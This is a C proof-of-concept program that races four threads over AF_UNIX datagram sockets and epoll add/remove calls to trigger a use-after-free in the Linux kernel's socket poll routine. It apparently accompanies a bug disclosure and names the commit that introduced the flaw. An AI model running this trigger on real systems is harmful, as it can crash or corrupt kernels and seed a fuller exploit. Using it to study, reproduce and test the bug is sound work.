/* use-after-free in poll routine of AF_UNIX sockets, triggerable using epoll * * ..intruduced in 3c73419c09 "af_unix: fix 'poll for write'/ connected DGRAM * sockets" (v2.6.26-rc7) * * $ gcc -pthread -o epoll_bug epoll_bug.c * * - minipli */ #include #include #include #include #include #include #include #include #include #include #include static long fd_max; static int ep = -1; static int get_fd(void) { int fd; for (;;) { fd = rand() % fd_max; if (fd > 2 && fd != ep) break; } return fd; } static void *opener(void *ptr) { sleep(1); for (;;) { if (rand() % 2) { struct sockaddr_un sa = { .sun_family = AF_UNIX, .sun_path = "\0epool_bug-", }; int sock = socket(AF_UNIX, SOCK_DGRAM, 0); int err; /* take a short nap when there are no more fds left so closer() can * catch up */ if (sock < 0) { usleep(1); continue; } /* ensure the write won't block */ fcntl(sock, F_SETFL, fcntl(sock, F_GETFL, 0) | O_NONBLOCK); sa.sun_path[11] = rand() % 26 + 'A'; if (rand() % 2) err = connect(sock, (struct sockaddr *) &sa, sizeof(sa)); else err = bind(sock, (struct sockaddr *) &sa, sizeof(sa)); if (err) close(sock); } else { static const char dot[] = { [0 ... 1023] = '.' }; write(get_fd(), dot, rand() % 2 ? 1 : sizeof(dot)); } } return ptr; } static void *closer(void *ptr) { int miss = 0; sleep(1); for (;;) { errno = 0; close(get_fd()); /* take a short nap when we're hitting invalid fds 5 times in a row so * opener() can catch up */ if (errno == EBADF && ++miss >= 5) { usleep(10); miss = 0; } else if (errno == 0) { miss = 0; } } return ptr; } static void *ep_add(void *ptr) { sleep(1); for (;;) { int fd = get_fd(); struct epoll_event ev = { .events = EPOLLIN | EPOLLOUT, .data.fd = fd, }; if (epoll_ctl(ep, EPOLL_CTL_ADD, fd, &ev) < 0 && errno == ENOSPC) usleep(1); } return ptr; } static void *ep_del(void *ptr) { sleep(1); for (;;) epoll_ctl(ep, EPOLL_CTL_DEL, get_fd(), NULL); return ptr; } int main(void) { pthread_t thread[4]; int i; signal(SIGPIPE, SIG_IGN); ep = epoll_create(42); /* use epoll_create() for older kernels */ if (ep < 0) { fprintf(stderr, "err: epoll_create1() failed (%s)\n", strerror(errno)); return 1; } fd_max = sysconf(_SC_OPEN_MAX); if (pthread_create(&thread[0], NULL, opener, NULL) || pthread_create(&thread[1], NULL, closer, NULL) || pthread_create(&thread[2], NULL, ep_add, NULL) || pthread_create(&thread[3], NULL, ep_del, NULL)) { fprintf(stderr, "err: failed to start all threads!\n"); return 1; } /* XXX: pthread_cancel() all threads on termination request */ for (i = 0; i < 4; i++) pthread_join(thread[i], NULL); return 0; }